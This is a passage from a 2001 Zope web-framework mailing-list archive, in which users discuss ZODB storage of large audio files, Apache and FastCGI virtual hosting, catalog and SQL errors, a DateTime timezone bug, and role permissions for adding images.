app.objectIds() ['acl_users', 'Control_Panel', 'standard_html_header', 'standard_html_footer', ' standard_error_message', 'QuickStart', 'index_html', 'ChrisPortal', 'fudgely', ' fleeber'] >>> From tino@wildenhain.de Thu May 3 13:51:41 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 03 May 2001 14:51:41 +0200 Subject: AW: AW: [Zope] Source from form result. In-Reply-To: Message-ID: <1059023570.988901501@BUZZER> Hi Marc, as I told you already, the stuff in lib/python/ZPublisher/Client.py is probably what you want. There is a class "Function" which takes the following arguments: Fuction(url, arguments=(), method=None, username=None, password=None, timeout=None, **headers) In your example, method should be "POST" and arguments is a dictionary of key:value pairs. HTH Tino Wildenhain > :-) Yes, there is an other :-)) > > Ok, I will try to explain. ... Somewhere in the Web, there is a Website, > out of the world of zope:-), that provides a form with a submit button. > this form passes some arguments with the syntax: > ... > > If you klick on submit button, you get displayed some pictures. so far so > good ... > > I want to create a zope application, that automatically gets the source of > this result page, extracts the urls of the picutres and finally uploads > these pictures into my zopeserver. > > The problem is, that it is not possible to pass the variables in the url > like this: > http://server/index.html?x=y. > > So I am looking for a way of being able to handle the source code of this > result. Extraction of the urls is not a problem. > > Thanks for your interest ... > > Marc > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From Serge.Stinckwich@info.unicaen.fr Thu May 3 13:41:23 2001 From: Serge.Stinckwich@info.unicaen.fr (Serge Stinckwich) Date: Thu, 03 May 2001 14:41:23 +0200 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: References: <005901c0d3cb$1b4b10a0$c3090740@megapathdsl.net> Message-ID: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> At Thu, 3 May 2001 14:42:11 +0200 (MET DST), Jerome Alet wrote: > = > On Thu, 3 May 2001, Jason Cunliffe wrote: > = > > > I'm pleased to announce you the Zope Shell version 0.001. > > = > > That is beautiful!! > = > Thanks a lot ! > = > I've desesperatly searched for something like that on zope.org this > morning but without luck, so I've written my own :-) Hiya J=E9rome, = there is already a Zope shell tool : -- = Serge Stinckwich -< ) http://multiagen= t.com/ CNRS UMR 6072>GREYC>I3>SMILE /~\ http://squeak.or= g/ Universit=E9 de Caen>IUT de Caen>Campus 3>Dept Info (/ | http://zope.or= g/ http://www.iutc3.unicaen.fr/~stincs/ _|_/ http://debian.or= g/ From michel@titus.u-strasbg.fr Thu May 3 14:12:01 2001 From: michel@titus.u-strasbg.fr (Michel) Date: Thu, 03 May 2001 15:12:01 +0200 Subject: [Zope] Date calculation bug References: <10105031131.AA10111@porgy> Message-ID: <10105031423.AA10184@porgy> At , you wrote: >Hi, > >> >> > >> I launched it at 10H35 : >> Now : 2001/05/03 10:35:03.05544 GMT+1 >> 30 minutes : 2001/05/03 10:05:02.94628 GMT+1 >> I received 10:05 instead of 11:05 > >I don't know whats wrong here, but have you tried a - 0.020832 instead of a + >? >When this works the problem is that add/subtraction will change the >TimeZone instead of increasing the Time!! >(Only an idea - nothing more!) Sorry, I tried with - intead of + in my DTML Method and the result is : Now : 2001/05/03 15:12:07.64429 GMT+1 30 minutes : 2001/05/03 13:42:07.75949 GMT+1 It could be a bug ......... OFFNER Michel IGBMC France From tino@wildenhain.de Thu May 3 14:18:03 2001 From: tino@wildenhain.de (Tino Wildenhain) Date: Thu, 03 May 2001 15:18:03 +0200 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: <005901c0d3cb$1b4b10a0$c3090740@megapathdsl.net> Message-ID: <1060605650.988903083@BUZZER> --On Donnerstag, 3. Mai 2001 08:18 -0400 Jason Cunliffe wrote: Hi, ... > Now playing with your new shell really makes me wonder serisouly about > Zope interpreter. One can use python to but not at the same time as Zope > is running. So I gguess the reick woudl be to harness the two ideas. Not? You mean not with the ZODB, if its in use by the current zope. Sure. But for this we have ZEO. ... snip ... > It is very boring to click on all those 'OK' buttons and watch the HTML > screen keep redrawing. Sitting with potential clients for Zopesites really > brings this home, I notice that what one really wants to do is take a few > lines of compact code and immediately generate the named folders with > simple properties, and dummy dethods/documents etc. Saves lots of Time > add and very useful templating and Zope design asset. The problem is, zope is currently very web-centric. We badly need an abstraction layer for all the things products and the management interface in general want to interact with the user. Then this interface can be mapped to HTTP/HTML HTTP/WML or even stand-alone GUIs (wxWindows as example) All could talk to the very same application. This counts also for the XML-Stuff. Regards Tino From hofmann@isl.org Thu May 3 14:30:10 2001 From: hofmann@isl.org (Kai Hofmann) Date: Thu, 3 May 2001 15:30:10 +0200 Subject: [Zope] Date calculation bug In-Reply-To: <10105031423.AA10184@porgy> Message-ID: <3AF17922.2399.31B662C4@localhost> > >> > >> > > > >> I launched it at 10H35 : > >> Now : 2001/05/03 10:35:03.05544 GMT+1=20 > >> 30 minutes : 2001/05/03 10:05:02.94628 GMT+1=20 > >> I received 10:05 instead of 11:05 > Sorry, I tried with - intead of + in my DTML Method and the result is : >=20 > Now : 2001/05/03 15:12:07.64429 GMT+1=20 > 30 minutes : 2001/05/03 13:42:07.75949 GMT+1=20 Looks to me like the following happens: Zope changed the TIME to GMT then adds/subs the 30 minutes and forget to change back to GMT+1! Greetings Kai --=20 Institut f=FCr Seeverkehrswirtschaft und Logistik http://www.isl.org/ Dipl.-Inform. Kai Hofmann mailto:hofmann@isl.org Universitaetsallee GW1 Block A phone:+49 421 22096-83 D-28359 Bremen fax:+49 421 22096-55 From jasonic@nomadicsltd.com Thu May 3 14:49:12 2001 From: jasonic@nomadicsltd.com (Jason Cunliffe) Date: Thu, 3 May 2001 09:49:12 -0400 Subject: [Zope] [ANN] zshell: The Zope Shell References: <1060605650.988903083@BUZZER> Message-ID: <006101c0d3d7$d6042880$c3090740@megapathdsl.net> > Not? You mean not with the ZODB, if its in use by the current zope. > Sure. But for this we have ZEO. Would you care to describe exactly how to do this? ./Jason From Serge.Stinckwich@info.unicaen.fr Thu May 3 15:04:34 2001 From: Serge.Stinckwich@info.unicaen.fr (Serge Stinckwich) Date: Thu, 03 May 2001 16:04:34 +0200 Subject: [Zope] [ANN] zshell: The Zope Shell In-Reply-To: References: <7zpudq1u6k.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> Message-ID: <7zelu6plzh.wl@maryse.iutc3.unicaen.fr.iutc3.unicaen.fr> I forward Jerome reply to the list. At Thu, 3 May 2001 15:16:53 +0200 (MET DST), Jerome Alet wrote: > = > On Thu, 3 May 2001, Serge Stinckwich wrote: > = > > At Thu, 3 May 2001 14:42:11 +0200 (MET DST), > > Jerome Alet wrote: > > > = > > > I've desesperatly searched for something like that on zope.org this= > > > morning but without luck, so I've written my own :-) > > = > > Hiya J=E9rome, = > > = > > there is already a Zope shell tool : > = > My fault: I've searched for "zope shell" and not "zopeshell" > = > However these are different beasts: Stefane's one works in an external > editor, mine works from within Zope's management interface. = > = > However the two are complementary, and I'll probably suck some of his c= ode > (and he can't even do the same without changing his licence first ;-) > = > Interestingly its from another french zopista ! > = > bye, and thanks for the info > = > Jerome Alet From cduncan@kaivo.com Thu May 3 15:26:13 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 03 May 2001 08:26:13 -0600 Subject: [Zope] Re: Catalog Anything Problem References: <006101c0d39f$7a3aab60$1e01a8c0@dialognet.com> Message-ID: <3AF16A85.46E31F93@kaivo.com> Bobby Mathew wrote: > > Hi Ron / Casey, > > Thanks for your support, I have made those changes as you guys suggested. > Firstly i created a new catalog called prods under /learn/search/ and did > nothing further > secondly i kept the zsql method outside under the path /learn/search/ > called it getProdtoCatalog() > it has this code... > SELECT prodid as Number, Title, > Descr || ' ' || Title as PrincipiaSearchSource, > 'Product' as meta_type, prodid as id, Descr as summary > FROM products > > now i went within /learn/search/prods and put catalogProducts (python > script) with this code > for Product in container.getProdtoCatalog(): > container.catalog_object(Product, > '/learn/search/prods/'+ Product.Number +'/proddetails.html') > print 'Product #' + Product.Number > return printed > > The moment i test this it gives me this error > > Zope Error > Zope has encountered an error while publishing this resource. > > Error Type: AttributeError > Error Value: Number [snip] Try Product.number, Databases often return field names in all lower case regardless of the case specified in the SQL. hth, -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From cduncan@kaivo.com Thu May 3 15:28:01 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 03 May 2001 08:28:01 -0600 Subject: [Zope] Sorting mod.time with dtml-in? References: <3AF12072.29158.3068FAC8@localhost> <01050315201500.01878@tokey> Message-ID: <3AF16AF1.27D9B327@kaivo.com> "bak (kedai)" wrote: > > On Thursday 03 May 2001 15:11, Kai Hofmann wrote: > > I thought that I could simply sort by modification time withe the > > following: > > > > > > > > but as it seems I am to stupid to understand Zope/Python, because > > this does not work :( > > Any hints? > > > > shouldn't it be > > ? > > hth > > Thanks > > > > Kai > Assuming version 2.3, try: since it is a method. hth, -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From cduncan@kaivo.com Thu May 3 15:30:13 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 03 May 2001 08:30:13 -0600 Subject: [Zope] how to know if an object is an objectmanager References: Message-ID: <3AF16B75.D58EDD4D@kaivo.com> Jerome Alet wrote: > > Hi, > > I'm writing something generic in a python script which has to test if an > object is an objectmanager or not, since I want it to work with Folders > but also with user defined types which inherit from objectmanager. > > How can I do that ? > > thanks. > Folderish objects (based on ObhectManager) have an attribute, isPrincipiaFolderish. Just test for this property as in: if getattr(ob, 'isPrincipiaFolderish', 0): or hth -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From rbickers@logicetc.com Thu May 3 15:32:58 2001 From: rbickers@logicetc.com (Ron Bickers) Date: Thu, 3 May 2001 10:32:58 -0400 Subject: [Zope] Re: Catalog Anything Problem In-Reply-To: <3AF16A85.46E31F93@kaivo.com> Message-ID: > > Firstly i created a new catalog called prods under > /learn/search/ and did > > nothing further > > secondly i kept the zsql method outside under the path /learn/search/ > > called it getProdtoCatalog() I may have misled you as far as where to put the ZSQL Method. It's okay to have the method in the contents part of the catalog where the Python Script is, you just don't want to use the 'Find Objects' to add it to the catalog's search index. Of course, with acquisition, it works all the same where you put it. > Try Product.number, Databases often return field names in all lower case > regardless of the case specified in the SQL. I can't think of any reason for the error, but this sounds like a good thing to try. MySQL is case sensitive so I've always stuck to the case as defined in the table. If changing the case works, let me know. _______________________ Ron Bickers Logic Etc, Inc. rbickers@logicetc.com From marc@bowery.com Thu May 3 15:41:26 2001 From: marc@bowery.com (marc lindahl) Date: Thu, 03 May 2001 10:41:26 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: > From: Toby Dickenson > >> , an index is built of every object inside the ZODB >> so it that can call it again later, effectively it reads through the entire >> DB. > > With FileStorage, This only happens if zope is not shut down cleanly. > > A clean shut down will leave a var/Data.fs.index file. On the next > startup it loads this index if it is present, or scans the whole > Data.fs if it is not. The other thing that occurred to me.... this indexing time would depend on the number of objects, not their size, so it should be the same for the internally-stored mp3 and an hypothetical externally-stored mp3 with internal meta... From cduncan@kaivo.com Thu May 3 15:44:42 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 03 May 2001 08:44:42 -0600 Subject: [Zope] rename objects permission References: <02e401c0d311$46f092d0$1c64a8c0@PBN> <3AF029AA.F495625B@kaivo.com> <035101c0d31e$b5709db0$1c64a8c0@PBN> <3AF031E4.9FA41F94@kaivo.com> <040601c0d3a5$7e80f8e0$1c64a8c0@PBN> Message-ID: <3AF16EDA.BA73A967@kaivo.com> Peter Bengtsson wrote: > > Ok. New question! This is very strange. > > I create a user called "monkey" in a folder called "icons". > The "monkey" user has the "foodexpert" role. > These permissions are ticked for the foodexpert role: > - Access contents information > - Add Documents, Images, and Files > - Change Images and Files > - Delete objects > - Manage properties > - View > - View management screens > > All I want the monkey to be able to do is to add/edit (name and > properties)/remove Image objects in a folder called "icons". > The monkey fills in a form to upload an Image (a copy of the manage_addImage > form almost). When submitting this DTML code is called: > > Simple, isn't it? But it does NOT work! > "You are not authorized to access manage_addImage. " > > Fuck! the monkey things. Goes /manage and can select Add Image from the drop > down list and can add Images with no problem. > However, I want the monkey to be able to do these simple things using MY > management interface. > > Is this a bug? > > Peter > Assuming action is a DTML method, you do not need PARENTS[0]. That is likely the cause of the problem. I think it is trying to add the image to the parent folder of the icons folder. Try removing it. -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From tdickenson@geminidataloggers.com Thu May 3 15:48:54 2001 From: tdickenson@geminidataloggers.com (Toby Dickenson) Date: Thu, 3 May 2001 15:48:54 +0100 Subject: [Zope] Announce - Audio Product Message-ID: <9FC702711D39D3118D4900902778ADC832462E@jupiter.internal.geminidataloggers.com> > The other thing that occurred to me.... this indexing time > would depend on > the number of objects, not their size, so it should be the > same for the > internally-stored mp3 and an hypothetical externally-stored mp3 with > internal meta... No, for two reasons. Firstly Zope does seek over the pickle data, reading only the FileStorage transaction metadata. However it will be faster if those pickles are small, since more than one transaction metadata block will fit in one disk block. Further, it is more likely that the disk blocks will be available faster due to read-ahead in your OS. Secondly the internally-stored files will consume *more* ZODB objects - one object for each 64k of file size. This is necessary for the memory-reduction tricks mentioned earlier in the thread. From jwalcik@notwithstanding.org Thu May 3 15:52:04 2001 From: jwalcik@notwithstanding.org (jacob walcik) Date: Thu, 3 May 2001 09:52:04 -0500 (CDT) Subject: [Zope] new user, having problems with apache Message-ID: i'm trying to setup zope (2.3.1 built on redhat 7.0) and apache (the two are communicating via fastcgi) in a manner in which it can handle multiple virtual hosts. zope itself is working just fine via ZServer on port 8080, and here's what i have in my apache config: for fastcgi: LoadModule fastcgi_module libexec/mod_fastcgi.so FastCgiExternalServer /usr/local/apache/htdocs/zope \ -host localhost:8889 \ -pass-header Authorization for the virtual host: ServerAdmin jwalcik@iensemble.com DocumentRoot /usr/local/apache/htdocs ServerName milkman.iensemble.com ErrorLog logs/milkman.iensemble.com-error_log CustomLog logs/milkman.iensemble.com-access_log common RewriteEngine on RewriteCond %(HTTP:Authorization) ^(.*) RewriteRule ^/images/(.*) /usr/local/apache/htdocs/images/$1 [L] Options ExecCGI SetHandler fastcgi-script like i said, my ultimate goal here is to be able to serve multiple virtual hosts from a single machine. i'd like everything past / at the url milkman.iensemble.com to be interpretted by zope, except for /images which will let apache hand out static images w/o having to bother with zope. now for the problem. with the configuration above, when i go to http://milkman.iensemble.com/ i get a "403 Forbidden" message from apache. if i go to http://milkman.iensemble.com/zope, i get the default zope index page. if i had the "Location" directive in the virtualhost set to /zope, i'd understand why this was happening, but since that's not the case, i'm not clear on what i've done wrong here. also, the rewrite rule doesn't appear to be working, but i can work on that another day... -- jacob walcik jwalcik@notwithstanding.org From mail@peterbe.com Thu May 3 16:02:30 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Thu, 3 May 2001 17:02:30 +0200 Subject: [Zope] rename objects permission References: <02e401c0d311$46f092d0$1c64a8c0@PBN> <3AF029AA.F495625B@kaivo.com> <035101c0d31e$b5709db0$1c64a8c0@PBN> <3AF031E4.9FA41F94@kaivo.com> <040601c0d3a5$7e80f8e0$1c64a8c0@PBN> <3AF16EDA.BA73A967@kaivo.com> Message-ID: <058401c0d3e2$2bc7adf0$1c64a8c0@PBN> ----- Original Message ----- From: "Casey Duncan" To: "Peter Bengtsson" Cc: "Dieter Maurer" ; Sent: Thursday, May 03, 2001 4:44 PM Subject: Re: [Zope] rename objects permission > Peter Bengtsson wrote: > > > > Ok. New question! This is very strange. > > > > I create a user called "monkey" in a folder called "icons". > > The "monkey" user has the "foodexpert" role. > > These permissions are ticked for the foodexpert role: > > - Access contents information > > - Add Documents, Images, and Files > > - Change Images and Files > > - Delete objects > > - Manage properties > > - View > > - View management screens > > > > All I want the monkey to be able to do is to add/edit (name and > > properties)/remove Image objects in a folder called "icons". > > The monkey fills in a form to upload an Image (a copy of the manage_addImage > > form almost). When submitting this DTML code is called: > > > > Simple, isn't it? But it does NOT work! > > "You are not authorized to access manage_addImage. " > > > > Fuck! the monkey things. Goes /manage and can select Add Image from the drop > > down list and can add Images with no problem. > > However, I want the monkey to be able to do these simple things using MY > > management interface. > > > > Is this a bug? > > > > Peter > > > > Assuming action is a DTML method, you do not need PARENTS[0]. That is > likely the cause of the problem. I think it is trying to add the image > to the parent folder of the icons folder. Try removing it. No, tried. The behaviour persists when I try without PARENTS[0]. I.e... ...does NOT either work. Cheers. Thanks for the support. Peter > -- > | Casey Duncan > | Kaivo, Inc. > | cduncan@kaivo.com > `------------------> > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From jpeterso@the-bridge.net Thu May 3 16:12:57 2001 From: jpeterso@the-bridge.net (Jeff Peterson) Date: Thu, 3 May 2001 10:12:57 -0500 Subject: [Zope] Virtual HostMonster article In-Reply-To: <036701c0d393$886138a0$c3090740@megapathdsl.net> Message-ID: I see both good and bad based on perspective. On one hand, and correct me if I am wrong, he handles the whole of virtual hosting in Zope. I have not really thought of the benefits of this other than not needing apache or IIS et al, to do virtual hosting. On the other hand, using apache has benefits that I can see. First, using proxypass and site root is exceedingly simple once you know how to use it, you modify the apache conf file and add a site root object in Zope, no extra coding. With this method you have to deal with the hostname on your own, write the code and deal with the contingencies. Also, you can easily use apache to cache high overhead items and have apache serve them instead of Zope. Now, that all said, one of the greatest feature of Zope is it's extensibility. So, products may be written to do this easily, which will even the field as far as ease of use is concerned. They may also have a way to do the caching in Zope, I don't know (not enough Zen) but it seems to me the benefit of doing it outside of Zope is obvious. Just my $.02, -- Jeffrey D. Peterson Webmaster/Web & Web Applications Engineer Range TV Cable & Broadband 1818 E. 3rd Ave. Hibbing, MN 55746 jpeterso@the-bridge.net > -----Original Message----- > From: zope-admin@zope.org [mailto:zope-admin@zope.org]On Behalf Of Jason > Cunliffe > Sent: Thursday, May 03, 2001 12:40 AM > To: zope@zope.org > Subject: [Zope] Virtual HostMonster article > > > FYI: After an educational but mysterious search for information about > Virtual Host Monster, I just came across this very practical article: > > http://twsite.bizland.com/twzop0015.htm > > Would anyone care to comment on the advice given? > [..good bad ugly brilliant .. ymmv??] > > > ./Jason > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From marc@bowery.com Thu May 3 16:08:59 2001 From: marc@bowery.com (marc lindahl) Date: Thu, 03 May 2001 11:08:59 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: Message-ID: > From: Bill Anderson > > Which is worse: A corrupted Data.fs, or a corrupted .mp3 file? If you > get a corruption in the backup process (Yes, it ODES happen), or the > restore, which would you rather have? Well, if it was something like the MP3.COM site, there wouldn't be another centralized source for replacements for the .mp3 files, so I don't see the issue. If the backup is corrupted, then you'd go to the next-oldest backup... >> What do you mean, it refuses to pack? It gives an error or something? > > > No error, and no pack. I haven't had a lot of time to go into it ... Anyone else out there have this problem??? Hope it isn't a serious bug...! >> Also, importantly, version control! > > you can version control the metadata. That's another ball of worms - syncronizing with the external data (e.g. what if the file moves/renames/changes? Do you automatically scan? Or have a maintainance procedure of some kind to check? And have error handling, etc.?) I haven't looked at the code of ExtFile or LocalFS, don't know how they deal with that. > pack every day, and you may as well forget about an undo from yesterday. Right, which is bad for all the other stuff you might want to undo... >> I'm aiming at uploading of audio as something with a little more control >> (like a review process), so having 1000 versions of the same file unpacked >> isn't an issue, and the versioning is important. > > Like I said, you can make it so the metadata is version-controllable. > 1000 copies at 2MB=2GB ... for ONE lousy MP3? While _you_ may be fine > with that, most people ar enot. Still, it is your choice. Multiply that > by, say a hundred mp3s ... Well, I was overstating the case. But I find it typical that, for example, one might mistakenly put up the wrong mix of a song, and have to pull it quickly... or that a mistake with some meta data, like publisher name or song title, is made once or twice before it's gotten right. I wonder if, to get super-tweeky, it would be possible for a 'partial pack', where you could follow the 'thread' of a particular object or set of objects, and just pack those? > Except that you are then you are using quota on the _entire_ Data.fs. > With an ExtFile you can have a seperate mountpoint that has a separate > quota control. say I only want up to X Gb of mp3 files, but would also > like up toX Gb of other objects, such as ExtImage objects. by limiting > the data.fs, you can't do that very well. Additionally, maybe I don't > want 1.5-2.5 Gb of a single song stored. ;^)~ A related thing I was thinking about was how to limit file size of individual files, and individual user quotas. My answer to that one was: 1. filesize would be limited by the 30 minute built-in timeout of zope... you can do the math... as long as you have enough storage for one of those (for each zope thread) you won't die... then you could, after upload, check the filesize of the file (either internal or external), and if it's too big, delete it and warn the user. 2. again, you can have methods to scan the user's area and add up his file storage, and perhaps disable uploading if it's over. To me, it seems you could integrate these types of controls better with the site functionality if everything is inside zope. > Anyway, I was just kicking out some real-world reasons whyan ExtMP# type > file would be (more) useful. Feel free to disagree, just understand that > there are many of us out here here who have very valid reasons for not > storing file objects that average over 1MB in the ZODb, especially when > we are talking about potentially thousands, as you indicated. I've gone > through all these issues in developing a Zope Advertising Product. I'm looking at this issue keenly, and trying to dig down to the roots on these issues... I don't think there are easy answers, but overall I think the ZODB is underappreciated, and I'm trying to get a better grip on it's limitations. I'm still not clear on how the size of a python object is a factor (as opposed to the number of objects in data.fs), though it's pretty clear to me that anything that passes thru zope (e.g. via ExtFile) is at some point inside zope and therefore the same, at that point, as something stored in data.fs, as far as speed and performance goes. From marc@bowery.com Thu May 3 16:14:06 2001 From: marc@bowery.com (marc lindahl) Date: Thu, 03 May 2001 11:14:06 -0400 Subject: [Zope] Announce - Audio Product In-Reply-To: <9FC702711D39D3118D4900902778ADC832462E@jupiter.internal.geminidataloggers.com> Message-ID: > From: Toby Dickenson > Firstly Zope does seek over the pickle data, reading only the FileStorage > transaction metadata. However it will be faster if those pickles are small, > since more than one transaction metadata block will fit in one disk block. I think this depends entirely on how the pickle data is stored, and of course, the filesystem. For the latter, I highly doubt there is much difference lookiing for a new file and seeking inside an ready open data.fs. Perhaps Shane Hathaway (who seems to have done some work on the FileStorage...) can provide an answer to how data.fs is walked. > Further, it is more likely that the disk blocks will be available faster due > to read-ahead in your OS. Read ahead, caching at many levels (on the disk drive, controller, OS driver, virtual memory system), it will definitely obfuscate the issue to the point where only empirical testing can give the answer. > > Secondly the internally-stored files will consume *more* ZODB objects - one > object for each 64k of file size. This is necessary for the memory-reduction > tricks mentioned earlier in the thread. That's true, and depending on how the data.fs is walked it could have an impact. But they are very low level objects, and I would imagine that if the data.fs is searched heirarchically, instead of linearly scanned (which makes no sense), then they wouldn't have much impact, since they're linked only to one other object, and have almost no relationship (inheritance) to anything, except persistence. Also, percentage-wise, since there's only one extra per 64K, it's a very small overhead of extra objects. From cduncan@kaivo.com Thu May 3 16:31:46 2001 From: cduncan@kaivo.com (Casey Duncan) Date: Thu, 03 May 2001 09:31:46 -0600 Subject: [Zope] rename objects permission References: <02e401c0d311$46f092d0$1c64a8c0@PBN> <3AF029AA.F495625B@kaivo.com> <035101c0d31e$b5709db0$1c64a8c0@PBN> <3AF031E4.9FA41F94@kaivo.com> <040601c0d3a5$7e80f8e0$1c64a8c0@PBN> <3AF16EDA.BA73A967@kaivo.com> <058401c0d3e2$2bc7adf0$1c64a8c0@PBN> Message-ID: <3AF179E2.D76DA154@kaivo.com> Peter Bengtsson wrote: > > > > Assuming action is a DTML method, you do not need PARENTS[0]. That is > > likely the cause of the problem. I think it is trying to add the image > > to the parent folder of the icons folder. Try removing it. > > No, tried. > The behaviour persists when I try without PARENTS[0]. > I.e... > > ...does NOT either work. > > Cheers. > Thanks for the support. > Peter try creatin a DTML method in the icons folder called testAdd, add this code to it: and make sure monkey can view it. Then view it as monkey. Does it work? -- | Casey Duncan | Kaivo, Inc. | cduncan@kaivo.com `------------------> From sean.upton@uniontrib.com Thu May 3 17:24:09 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Thu, 03 May 2001 09:24:09 -0700 Subject: [Zope] TUX and Zope? + ab results Message-ID: Caching w/ TUX, AFAIK, isn't going to be as efficient as Squid. I think that likely the reason is that TUX is a webserver and not a cache, and that (if TUX can cache; I think it can just proxy!) the overhead to proxying likely mitigates a lot of the magic marshmallows in TUX like Zero Copy, checksum caching, etc - a network copy is going to add latency, and cache machinery is going to eat some CPU cycles. Somebody correct me if I am mistaken here. Tux might work well with ExtImage/ExtFile and TUX's machinery for serving some URLs and passing on others to another server (Apache, ZServer...). For predictable content, that is served over and over, seems like Squid in http accelerator mode is a better solution... Sean -----Original Message----- From: John Morton [mailto:jwm@plain.co.nz] Sent: Wednesday, May 02, 2001 10:36 PM To: Jason Byron; zope@zope.org Subject: Re: [Zope] TUX and Zope? + ab results On Thursday 03 May 2001 13:01, Jason Byron wrote: > This may sound silly, but do you think it would be > feasably to get some more speed out of Zope by > combining it with TUX (the linux kernel based web > server) ? Maybe build the python interpreter into > it ? TUX is a linux only thing ATM, so any integration of the two would have to be some sort of add on to a vanila zope. > TUX 2898.55 Requests per second > AOLserver 603.14 Requests per second > Apache 502.51 Requests per second > Zope 60.57 Requests per second There are important reasons why the figures are so different. In the case of TUX, the kernel server tries to do as little work as possible to translate a request into data flying out the NIC. Zope, on the other hand, at the very least checks to see if the requester has permisson to access that object, and often looks after other things like acquisition, setting caching headers and obviously executing content generating code. The easiest way for Zope to take advantage of TUX would be to have a TUX based caching reverse proxy sit in front of the Zope server. All of the images and other static content window dressing for the site which will always be served up to everybody can have cache TTLs set so they quickly end up in the proxy, which can serve them up as fast as they can go. If you still want to crank more speed out of zope, the next thing to do would be to profile the steps needed to serve up requests for static content where having a permission system matters, and look into optimizing that. John _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From sabaini@niil.at Thu May 3 17:24:09 2001 From: sabaini@niil.at (Peter Sabaini) Date: Thu, 3 May 2001 18:24:09 +0200 (CEST) Subject: ZODB vs. fs Re: [Zope] Announce - Audio Product In-Reply-To: Message-ID: Thats just a matter of trust to me. Ext2 has proven to be stable even if I did nasty things to it. Ext2 and the tools it comes with has had a lot more exposure, and a lot more time to mature (and besides Data.fs sits on top of Ext2, so you have the vulnerabilities of both, in a single point of failure). The added features of ZODB sure would be handy sometimes, and yes, the added bookkeeping is painful, but I simply wouldn't want big amounts of data in ZODB. Or in a RDBMS, for that matter. Use RDBMS or ZODB for metadata, keep the bulk in lowtech storage... ru, peter. On Thu, 3 May 2001, marc lindahl wrote: > > > > From: Bill Anderson > > > > Which is worse: A corrupted Data.fs, or a corrupted .mp3 file? If you > > get a corruption in the backup process (Yes, it ODES happen), or the > > restore, which would you rather have? > > Well, if it was something like the MP3.COM site, there wouldn't be another > centralized source for replacements for the .mp3 files, so I don't see the > issue. If the backup is corrupted, then you'd go to the next-oldest > backup... > > > > >> What do you mean, it refuses to pack? It gives an error or something? > > > > > > No error, and no pack. I haven't had a lot of time to go into it ... > > > Anyone else out there have this problem??? Hope it isn't a serious bug...! > > > > > >> Also, importantly, version control! > > > > you can version control the metadata. > > That's another ball of worms - syncronizing with the external data (e.g. > what if the file moves/renames/changes? Do you automatically scan? Or have > a maintainance procedure of some kind to check? And have error handling, > etc.?) I haven't looked at the code of ExtFile or LocalFS, don't know how > they deal with that. > > > > pack every day, and you may as well forget about an undo from yesterday. > > Right, which is bad for all the other stuff you might want to undo... > > >> I'm aiming at uploading of audio as something with a little more control > >> (like a review process), so having 1000 versions of the same file unpacked > >> isn't an issue, and the versioning is important. > > > > Like I said, you can make it so the metadata is version-controllable. > > 1000 copies at 2MB=2GB ... for ONE lousy MP3? While _you_ may be fine > > with that, most people ar enot. Still, it is your choice. Multiply that > > by, say a hundred mp3s ... > > > Well, I was overstating the case. But I find it typical that, for example, > one might mistakenly put up the wrong mix of a song, and have to pull it > quickly... or that a mistake with some meta data, like publisher name or > song title, is made once or twice before it's gotten right. > > I wonder if, to get super-tweeky, it would be possible for a 'partial pack', > where you could follow the 'thread' of a particular object or set of > objects, and just pack those? > > > > Except that you are then you are using quota on the _entire_ Data.fs. > > With an ExtFile you can have a seperate mountpoint that has a separate > > quota control. say I only want up to X Gb of mp3 files, but would also > > like up toX Gb of other objects, such as ExtImage objects. by limiting > > the data.fs, you can't do that very well. Additionally, maybe I don't > > want 1.5-2.5 Gb of a single song stored. ;^)~ > > A related thing I was thinking about was how to limit file size of > individual files, and individual user quotas. My answer to that one was: > 1. filesize would be limited by the 30 minute built-in timeout of zope... > you can do the math... as long as you have enough storage for one of those > (for each zope thread) you won't die... then you could, after upload, check > the filesize of the file (either internal or external), and if it's too big, > delete it and warn the user. > 2. again, you can have methods to scan the user's area and add up his file > storage, and perhaps disable uploading if it's over. > > To me, it seems you could integrate these types of controls better with the > site functionality if everything is inside zope. > > > > > > Anyway, I was just kicking out some real-world reasons whyan ExtMP# type > > file would be (more) useful. Feel free to disagree, just understand that > > there are many of us out here here who have very valid reasons for not > > storing file objects that average over 1MB in the ZODb, especially when > > we are talking about potentially thousands, as you indicated. I've gone > > through all these issues in developing a Zope Advertising Product. > > I'm looking at this issue keenly, and trying to dig down to the roots on > these issues... I don't think there are easy answers, but overall I think > the ZODB is underappreciated, and I'm trying to get a better grip on it's > limitations. I'm still not clear on how the size of a python object is a > factor (as opposed to the number of objects in data.fs), though it's pretty > clear to me that anything that passes thru zope (e.g. via ExtFile) is at > some 